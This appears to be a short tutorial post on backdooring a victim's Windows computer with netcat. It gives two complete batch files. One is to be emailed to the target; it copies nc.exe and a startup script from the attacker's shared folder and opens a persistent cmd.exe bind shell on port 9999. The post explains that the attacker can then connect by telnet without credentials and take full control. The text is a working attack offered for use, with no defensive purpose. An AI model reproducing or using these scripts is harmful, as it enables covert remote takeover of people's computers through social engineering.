With netcat you can create a batch file that does the following, we will save this batch file as nccopy.bat:

@echo off

cd\
c:
xcopy \\[YOUR IP]\[NAME OF SHARED FOLDER]\[THE FOLDER WHERE NETCAT IS LOCATED]\nc.exe
cd "Documents and Settings"
cd "All Users"
cd "Start Menu"
cd "Programs"
cd "Startup"
xcopy \\[YOUR IP]\[NAME OF SHARED FOLDER]\[THE FOLDER WHERE NETCAT IS LOCATED]\startnc.bat
nc.exe -L -p 9999 -d -e cmd.exe

This will be your first batch file, the second one that you will use is named startnc.bat, its the file you want to run on the computer at startup... It goes like this:

@echo off

cd\
c:
nc.exe -L -p 9999 -d -e cmd.exe


Thats all, now you email the first batch file named nccopy.bat to the target computer, then he/she executes the file which will then look for your computer, look for a shared folder on your computer which he/she has access to, look for the netcat directory in the shared folder and then copy netcat to the C: drive, it will then browse to the startup folder of the target computer and then copy the startnc.bat file again from your computer's shared folder to his/hers startup folder. The startnc.bat will then run every time when the computer is switched on, you will then have port 9999 open constantly on the target computer which will then allow you to connect to that port without needing username or passwords. You must connect to that port through telnet and once you do, netcat running on the target computer will then execute cmd.exe for you, you will be in the system32 directory and have full control of the computer.